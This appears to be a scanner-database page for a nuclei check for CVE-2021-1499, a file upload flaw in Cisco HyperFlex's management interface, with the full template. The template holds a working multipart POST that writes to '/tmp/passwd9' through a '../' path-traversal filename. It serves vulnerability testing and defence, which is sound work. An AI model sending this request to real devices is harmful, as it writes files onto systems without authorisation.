Cisco HyperFlex HX Data Platform - Arbitrary File Upload

mediumseverity

5.3CVSS score

80%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Cisco HyperFlex HX Data Platform contains an arbitrary file upload vulnerability in the web-based management interface. An attacker can send a specific HTTP request to an affected device, thus enabling upload of files to the affected device with the permissions of the tomcat8 user.

Impact

Allows an attacker to upload and execute arbitrary files on the target system

Fix

Apply the necessary security patches or updates provided by Cisco

How to confirm it

Send: POST /upload
Positive when: contains "{\"result\":" and "\"filename:" and "/tmp/passwd9" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2021-1499 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-1499

info:
  name: Cisco HyperFlex HX Data Platform - Arbitrary File Upload
  author: gy741
  severity: medium
  description: Cisco HyperFlex HX Data Platform contains an arbitrary file upload vulnerability in the web-based management interface. An attacker can send a specific HTTP request to an affected device, thus enabling upload of files to the affected device with the permissions of the tomcat8 user.
  impact: |
    Allows an attacker to upload and execute arbitrary files on the target system
  remediation: |
    Apply the necessary security patches or updates provided by Cisco
  reference:
    - https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/
    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-upload-KtCK8Ugz
    - http://packetstormsecurity.com/files/163203/Cisco-HyperFlex-HX-Data-Platform-File-Upload-Remote-Code-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-1499
    - https://github.com/Z0fhack/Goby_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-1499
    cwe-id: CWE-306
    epss-score: 0.79978
    epss-percentile: 0.99616
    cpe: cpe:2.3:h:cisco:hyperflex_hx220c_af_m5:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: hyperflex_hx220c_af_m5
  tags: cve2021,cve,fileupload,intrusive,packetstorm,cisco,vuln

http:
  - raw:
      - |
        POST /upload HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Encoding: gzip, deflate
        Content-Type: multipart/form-data; boundary=---------------------------253855577425106594691130420583
        Origin: {{RootURL}}
        Referer: {{RootURL}}

        -----------------------------253855577425106594691130420583
        Content-Disposition: form-data; name="file"; filename="../../../../../tmp/passwd9"
        Content-Type: application/json

        MyPasswdNewData->/api/tomcat

        -----------------------------253855577425106594691130420583--

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '{"result":'
          - '"filename:'
          - '/tmp/passwd9'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from